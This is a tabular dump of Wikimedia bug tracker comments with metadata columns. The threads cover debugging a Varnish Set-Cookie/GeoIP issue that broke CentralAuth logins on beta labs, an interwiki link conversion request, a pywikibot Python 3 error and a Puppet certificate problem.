+ https://saucelabs.com/tests/1a52304399624b5a8a76243f32372e63
+
+(Job still fails but for a different reason).
+
+
+Thanks Chris Steipp for the shell script!",,,1394103581,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-2odqxzvilpkedkhitxfr,task_subcomment,,True,c3,1,True,,,-69,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,1,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,1,1,1,0,1,0,0,0
+288198,New users not created on loginwiki in Labs,"For completeness, copying from my postmortem:
+
+What happens is, manipulation of the Set-Cookie header from VCL was
+broken. Ori's code is:
+
+    set_cookie_header = VRT_GetHdr(sp, HDR_RESP, ""\013set-cookie:"");
+    if (set_cookie_header == NULL) {
+            // New header
+            VRT_SetHdr(sp, HDR_RESP, ""\013Set-Cookie:"", cookie_out, vrt_magic_string_end);
+    } else {
+            // Append to existing header
+            VRT_SetHdr(sp, HDR_RESP, ""\013Set-Cookie:"", set_cookie_header, ""; "", cookie_out, vrt_magic_string_end);
+    }
+
+While this looks correct on a first glance, it makes you wonder what
+would happen with multiple occurences of Set-Cookie. What happens is
+exactly what you observe: VRT_GetHdr() returns only one of them and
+VRT_SetHdr() sets all of them, essentially discarding all Set-Cookie
+headers but one.
+
+As for going forward: the std vmod has an std.collect() function to
+collect multiple headers into one, but I don't believe this would work
+with Set-Cookie. There's https://github.com/varnish/libvmod-header
+that's designed exactly to address this use case -- its description is
+""Varnish Module (vmod) for manipulation of duplicated headers (for
+instance multiple set-cookie headers)"". We should probably use this
+instead.",,,1394101768,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-2odqxzvilpkedkhitxfr,task_subcomment,,True,c3,1,True,,,-69,True,1,0,0,1,1,1,0,0,0,1,1,1,0,1,1,1,0,1,1,0,1,1,1,0,1,0,0,0,0,1,0,1,1,1,0,1,0,0,0,0,0,1,0,1,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,1,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,1,1,0,0,1
+288194,New users not created on loginwiki in Labs,"Fixed by Faidon by disabling the cookie based geolocation on text varnish:  https://gerrit.wikimedia.org/r/#/c/117004/
+
+The shell script pass and shows three Set-Cookie: headers now.",,,1394100254,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-2odqxzvilpkedkhitxfr,task_subcomment,,True,c3,1,True,,,-69,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+288189,New users not created on loginwiki in Labs,Apparently happens on production as well: bug 62288 'Random API issues',,,1394099551,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-2odqxzvilpkedkhitxfr,task_subcomment,,True,c3,1,True,,,-69,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0
+288183,New users not created on loginwiki in Labs,"On deployment-cache-text1.pmtpa.wmflabs I edited /etc/varnish/text-frontend.inc.vcl and commented out the GeoIP snippet added by change 113935:
+
+https://gerrit.wikimedia.org/r/#/c/113935/6/templates/varnish/text-frontend.inc.vcl.erb,unified ) 
+
+Restarted varnish with:
+
+ /etc/init.d/varnish restart ; /etc/init.d/varnish-frontend restart
+
+I then ran Chris script and I received three cookies:
+
+
+< Set-Cookie: centralauth_Session=3428f185da995eaaf9550ae54b4e634f; path=/; httponly
+< Set-Cookie: centralauth_User=TestBug16864; expires=Sat, 05-Apr-2014 09:34:59 GMT; path=/; httponly
+< Set-Cookie: centralauth_Token=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/; httponly
+< Location: http://en.wikipedia.beta.wmflabs.org/wiki/Special:CentralLogin/complete?token=ef3afb1dbc82549c1655b6841d8614ae
+< Age: 0
+< X-Cache: deployment-cache-text1 miss (0), deployment-cache-text1 frontend miss (0)
+< Cache-Control: private, s-maxage=0, max-age=0, must-revalidate
+
+
+
+I have no idea why it would work in production and not on labs though :(",,,1394098674,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-2odqxzvilpkedkhitxfr,task_subcomment,,True,c3,1,True,,,-69,True,0,0,0,0,1,1,0,0,1,0,1,0,0,0,0,1,0,1,1,0,0,1,0,0,1,0,0,0,0,1,0,1,0,1,1,0,0,0,1,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,1,0,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0,1
+288175,New users not created on loginwiki in Labs,"Ori change ""Send GeoIP lookup result as 'GeoIP' cookie"" is https://gerrit.wikimedia.org/r/#/c/113935/",,,1394098186,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-2odqxzvilpkedkhitxfr,task_subcomment,,True,c3,1,True,,,-69,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0
+288167,New users not created on loginwiki in Labs,"Running script script against Apache and Varnish have the following difference:
+
+Apache:
+
+ Cache-control: private, must-revalidate, max-age=0
+ Set-Cookie: centralauth_Session=2f8f82190cd8c3a066aa5c8abca47699; path=/; httponly
+ Set-Cookie: centralauth_User=TestBug16864; expires=Sat, 05-Apr-2014 09:09:28 GMT; path=/; httponly
+ Set-Cookie: centralauth_Token=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/; httponly
+
+Varnish:
+
+ Age: 0
+ Cache-Control: private, s-maxage=0, max-age=0, must-revalidate
+ Set-Cookie: centralauth_Session=4dc3572e4bde7a617de112f22d3fa18a; path=/; httponly; GeoIP=FR::48.8600:2.3500:v4; path=/
+ X-Cache: deployment-cache-text1 miss (0), deployment-cache-text1 frontend miss (0)",,,1394097304,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-2odqxzvilpkedkhitxfr,task_subcomment,,True,c3,1,True,,,-69,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1
+288155,New users not created on loginwiki in Labs,"Created attachment 14753
+login script for internal/external comparison
+
+We definitely have an issue with the Caching. This script when run internally against the apache directly returns the correct Set-Cookie headers. When run externally, only the Session and GeoIP cookies are set.
+
+Further, if you add a
+
+-H 'Cookie: centralauth_Session=asdf; GeoIP=asdf'
+
+to the final curl call, the correct cookies are returned. It doesn't matter what values they have, but when those 2 cookies are set, then all of the cookies come back through.
+
+Since GeoIP is needed for the correct cookies to come back, I'll add ori in case this is related to the GeoIP cookie vcl.
+
+**Attached**: {F13112}",,,1394070832,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-2odqxzvilpkedkhitxfr,task_subcomment,,True,c3,1,True,,,-69,True,1,0,0,1,1,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,1,0,0,1,0,0,0,1,0,1,0,1,1,1,0,0,1,0,0,1,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,0,0,0,0
+288149,New users not created on loginwiki in Labs,"Created attachment 14744
+no active login error msg on test2wiki
+
+**Attached**: {F13111}",,,1394048964,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-2odqxzvilpkedkhitxfr,task_subcomment,,True,c3,1,False,,,-70,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+288145,New users not created on loginwiki in Labs,Unable to repro manually on test2wiki but see screen shot for evidence that it can happen.,,,1394048933,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-2odqxzvilpkedkhitxfr,task_subcomment,,True,c3,1,False,,,-70,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+288143,New users not created on loginwiki in Labs,"I have a manual repro for the login issue, still not sure it's connected to the original report, and apologies for hijacking the BZ ticket
+
+on http://en.wikipedia.beta.wmflabs.org
+
+clear cache and cookies
+
+* Enter username and password
+* Click ""Log in "" button and immediately click ""Random article"" link
+
+Get error message ""Central user log in/No active login attempt is in progress for your session.""
+
+Repeat these steps in the same browser session and the second time get the error message: 
+
+Central user log in/The token does not match with your session username.
+
+Someone might be trying to log you in under a malicious account./If you are just trying to log in as another user, please log out first.",,,1394048538,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-2odqxzvilpkedkhitxfr,task_subcomment,,True,c3,1,False,,,-70,True,0,1,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,1,0,0,1,0,1,1,1,0,0,1,0,1,0,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,1,0,0,1,1,1,0,1,0,1,1,0,1,0,1,0,0,0
+288141,New users not created on loginwiki in Labs,"Mentioned on IRC:  to have multiple login issues show up simultaneously on beta labs and test2wiki/mw.o within roughly a 12-hour period suggests a single root cause.
+
+I could be wrong.",,,1394044095,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-2odqxzvilpkedkhitxfr,task_subcomment,,True,c3,1,False,,,-70,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+288138,New users not created on loginwiki in Labs,"(In reply to Chris McMahon from comment #7)
+> on mw.o just now: 
+> 
+> load a page, get a message saying Central login/You are centrally logged in.
+> Reload the page to apply your user settings. 
+> 
+> Reload the page, notice re-occurs, I am still not logged in.
+
+Again, this is a separate issue. Please file separate bugs for them.",,,1394039832,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-2odqxzvilpkedkhitxfr,task_subcomment,,True,c3,1,True,,,-70,True,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,0,1,1,1,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,0,0,1,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,0,0,1,1,1,0,0,1
+288136,New users not created on loginwiki in Labs,"
+on mw.o just now: 
+
+load a page, get a message saying Central login/You are centrally logged in. Reload the page to apply your user settings. 
+
+Reload the page, notice re-occurs, I am still not logged in.",,,1394039209,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-2odqxzvilpkedkhitxfr,task_subcomment,,True,c3,1,False,,,-70,True,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+288133,New users not created on loginwiki in Labs,"Created attachment 14743
+central login problem
+
+**Attached**: {F13110}",,,1394039137,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-2odqxzvilpkedkhitxfr,task_subcomment,,True,c3,1,False,,,-70,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+288127,New users not created on loginwiki in Labs,"(In reply to Chris McMahon from comment #3)
+> upping the importance here.  this seems to be a recent phenomena, if you
+> want to pinpoint a time let me know
+
+Please!
+
+(In reply to Chris McMahon from comment #4)
+> also, we seem to have the same issue on test2wiki (and presumably mw.o)
+> 
+> The problem started showing up yesterday afternoon SF time. 
+> 
+> FWIW, just before the automated test displays the ""No active login
+> attempt... "" message, Firefox shows a message ""Transferring data from
+> bits..."" and then ""Read bits...""
+> 
+> And, it seems to be intermittent.  Of seven automated tests that login, two
+> (in the most recent run) Mar 5 incurred the ""No active login attempt...""
+> message.
+
+That's a different issue. That is memcache not working right. In the issue on this bug, loginwiki has the token and session, it's a problem with the cookie setting.",,,1394039077,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-2odqxzvilpkedkhitxfr,task_subcomment,,True,c3,1,True,,,-70,True,0,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,0,1,1,0,1,0,1,0,1,1,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,1,1,1,1,1,0,1,1,1,0,1,0,1,0,1,1,1,1,0,1,1
+288119,New users not created on loginwiki in Labs,"also, we seem to have the same issue on test2wiki (and presumably mw.o)
+
+The problem started showing up yesterday afternoon SF time. 
+
+FWIW, just before the automated test displays the ""No active login attempt... "" message, Firefox shows a message ""Transferring data from bits..."" and then ""Read bits...""
+
+And, it seems to be intermittent.  Of seven automated tests that login, two (in the most recent run) Mar 5 incurred the ""No active login attempt..."" message.",,,1394034895,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-2odqxzvilpkedkhitxfr,task_subcomment,,True,c3,1,False,,,-70,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,0,1,0,0,1,0,1,0,1,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,1,0
+288111,New users not created on loginwiki in Labs,"upping the importance here.  this seems to be a recent phenomena, if you want to pinpoint a time let me know",,,1394030249,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-2odqxzvilpkedkhitxfr,task_subcomment,,True,c3,1,False,,,-70,True,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,1,1,0,0,0
+288099,New users not created on loginwiki in Labs,This is currently also causing Selenium tests to fail which need to log in. e.g. https://saucelabs.com/jobs/5ca77278cb5e412c8e7a231561f6ba4d,,,1394026674,,PHID-USER-t4sxxglz6yyrgxeib43i,False,,,PHID-TASK-2odqxzvilpkedkhitxfr,task_subcomment,,True,c3,1,False,,,-70,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,1,0,0,1,0,0,1
+288089,New users not created on loginwiki in Labs,"Moving this to labs bugs, since I think this is a config issue with beta, not the extension.
+
+This issue is not showing up in production (although hopefully not by some config that is going into production soon!)",,,1393983911,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-2odqxzvilpkedkhitxfr,task_subcomment,,True,c3,1,True,,,-70,True,1,0,0,0,1,0,1,0,1,0,1,0,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,1,1,0,1,0,0,1,0,0,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+63672,Automatic conversion of external links to interwiki links should work if the protocol is HTTPS as well as HTTP,"Intention:
+Add a link at the English Wikipedia to the Spanish Wikipedia.
+
+Steps to Reproduce:
+1. Type a label/anchor.
+
+2. Open the link inspector.
+
+3. Paste in https://es.wikipedia.org/wiki/Idioma_inglés
+
+4. Exit the link inspector and save changes.
+
+Actual Results:  
+It created an external link:  [https://es.wikipedia.org/wiki/Idioma_inglés Label].
+
+Expected Results:  
+It should have behaved the same as pasting the same link, but with HTTP:// at the start.  It should have created an interwiki link:  [[:es:Idioma_inglés|Label]].
+
+
+Reproducible: Always
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=57019",Needs Triage,90.0,1392917220,1412905398.0,PHID-USER-uf3buojo4ceizjywvyn5,True,,False,PHID-TASK-susi53xefb4dytwwx2ss,task_description,resolved,True,c3,1,False,False,True,-71,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,1
+285339,Automatic conversion of external links to interwiki links should work if the protocol is HTTPS as well as HTTP,"Change 134160 had a related patch set uploaded by Jforrester:
+Support protocol-relative URLs in the interwiki map.
+
+https://gerrit.wikimedia.org/r/134160",,,1400545288,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-susi53xefb4dytwwx2ss,task_subcomment,,True,c3,1,False,,,-59,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+285333,Automatic conversion of external links to interwiki links should work if the protocol is HTTPS as well as HTTP,"The conversion is done in Parsoid, not VE; moving there.",,,1397764131,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-susi53xefb4dytwwx2ss,task_subcomment,,True,c3,1,True,,,-63,True,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+285329,Automatic conversion of external links to interwiki links should work if the protocol is HTTPS as well as HTTP,"It would also be nice if this process:
+
+1.  Paste a URL
+
+2.  Press Command-K
+
+turned  https://es.wikipedia.org/wiki/Idioma_inglés into [[:es:Idioma inglés]] or [[:es:Idioma inglés|Idioma inglés]].",,,1392925978,,PHID-USER-uf3buojo4ceizjywvyn5,True,,,PHID-TASK-susi53xefb4dytwwx2ss,task_subcomment,,True,c3,1,False,,,-71,True,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,1
+63479,How to separate Login and create Account options in Mediawiki 1.20.2 when ConfirmAccount  is enabled?,"**Author:** `sanjeetkumarit`
+
+**Description:**
+create account/login link combined
+
+How to separate Login and create Account options in Mediawiki 1.20.2 when ConfirmAccount extension is enabled? Please give any patch or code soon.
+Its already given $wgUseCombinedLoginLink= false; in DeafultSettings.php   Even though the link is Login/Create Account link is single. After Enabling the ConfirmAccount Extension in mediawiki 1.20.2   Please give some solution ASAP
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: critical
+
+**Attached**: {F13194}",Needs Triage,90.0,1392712140,1392722504.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-jkdtpquumkwa7uw2ongc,task_description,invalid,True,c3,1,False,False,True,-72,True,1,0,0,1,0,1,1,0,1,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,1,0,0,1,0,1,0,0,1,0,0,0
+289987,How to separate Login and create Account options in Mediawiki 1.20.2 when ConfirmAccount  is enabled?,"Hi Sanjeet. This does not sound like something is wrong in the code of MediaWiki (a so-called ""bug""), but instead like a support request (how to change settings, questions how to do something, etc.). As bugzilla.wikimedia.org is only for specific bug reports and enhancement requests, please use https://www.mediawiki.org/wiki/Project:Support_desk for support requests. Thanks!",,,1392722504,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-jkdtpquumkwa7uw2ongc,task_subcomment,,True,c3,1,True,,,-72,True,0,1,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,1,1,1,1,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,1,1,1,1,1,0,0,1,0,1,1,0,0,0,1,1,0,1,0,0,1,1,1,0,0,0,0,1
+63467,Login Error with Python 3,"**Author:** `hassen.houssein`
+
+**Description:**
+Login Error
+
+C:\Pywikipedia>login.py
+Traceback (most recent call last):
+  File ""C:\Pywikipedia\login.py"", line 59, in <module>
+    import query
+  File ""C:\Pywikipedia\query.py"", line 172
+    except ValueError, error:
+                     ^
+SyntaxError: invalid syntax
+C:\Pywikipedia>
+
+I tried the clean_sandbox.py, but got this error
+
+C:\Pywikipedia>clean_sandbox.py
+Traceback (most recent call last):
+  File ""C:\Pywikipedia\clean_sandbox.py"", line 48, in <module>
+    import wikipedia as pywikibot
+  File ""C:\Pywikipedia\wikipedia.py"", line 754
+    raise IsRedirectPage, self._redirarg  # do not change unless you see https:/
+/bugzilla.wikimedia.org/show_bug.cgi?id=57879
+                        ^
+SyntaxError: invalid syntax
+
+C:\Pywikipedia>
+
+--------------------------
+**Version**: unspecified
+**Severity**: major
+**OS**: Windows 8
+**Platform**: PC
+
+**Attached**: {F13163}",Needs Triage,90.0,1392673980,1392675942.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-t4egbiggiv3dqu4aeiw6,task_description,declined,True,c3,1,False,False,True,-72,True,0,0,0,0,1,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,1,0,0,0,0,0,1,1
+289321,Login Error with Python 3,"No bug fixed in the codebase, hence removing ""FIXED"" resolution.",,,1392720243,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-t4egbiggiv3dqu4aeiw6,task_subcomment,,True,c3,1,True,,,-72,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0
+289319,Login Error with Python 3,"**hassen.houssein** wrote:
+
+Solved, 
+
+Thanks",,,1392675942,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-t4egbiggiv3dqu4aeiw6,task_subcomment,,True,c3,1,False,,,-72,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+289317,Login Error with Python 3,Python 3 is not supported. Please download Python 2.7.6 from http://www.python.org/download/releases/2.7.6/ and try again.,,,1392674104,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-t4egbiggiv3dqu4aeiw6,task_subcomment,,True,c3,1,True,,,-72,True,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,1,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+63413,"New instances are stuck in ""The certificate retrieved from the master does not match the agent's private key.""","I created a (vanilla, no configuration, smallest image) instance yesterday (""icinga-scfc-test"") and the initial Puppet run didn't finish.  So I waited several hours, but still no luck.  Manual Puppet runs (""sudo puppetd -tv"") showed:
+
+| err: Could not request certificate: The certificate retrieved from the master does not match the agent's private key.
+| Certificate fingerprint: 05:91:9E:EE:6C:28:8B:24:FE:19:39:66:03:93:6C:44
+| To fix this, remove the certificate from both the master and the agent and then start a puppet run, which will automatically regenerate a certficate.
+| On the master:
+|   puppet cert clean i-00000906.pmtpa.wmflabs
+| On the agent:
+|   rm -f /var/lib/puppet/ssl/certs/i-00000906.pmtpa.wmflabs.pem
+|   puppet agent -t
+
+I deleted the instance, created another one (""icinga-scfc-test2""), and ran into the same situation again.  I deleted the instance, created a bigger one (""icinga-scfc-test3""), and the error occured there as well (after waiting several hours in each case).
+
+I reported this error in December (cf. http://permalink.gmane.org/gmane.org.wikimedia.labs/1976), but then it apparently resolved itself after waiting (cf. http://permalink.gmane.org/gmane.org.wikimedia.labs/1977), while now there doesn't seem to be any light at the end of the tunnel.  (i-00000906 is not (and was not then) the name of any of the created instances, but refers to labs-vmbuilder-precise.)
+
+--------------------------
+**Version**: unspecified
+**Severity**: blocker",Needs Triage,90.0,1392453000,1404490694.0,PHID-USER-vk6mlmacfhx77egryy5i,False,,False,PHID-TASK-mdtyyujkjvr5h3v3u4gn,task_description,declined,True,c3,1,True,False,True,-72,True,1,0,0,0,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,1,0,1,0,0,0,1,1,0,1,1,1,1,0,1,1,0,1,1,0,1,1,0,0,0,0,0,1,1,1,1,0,0,1,0,1,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,1,1,1,1,1
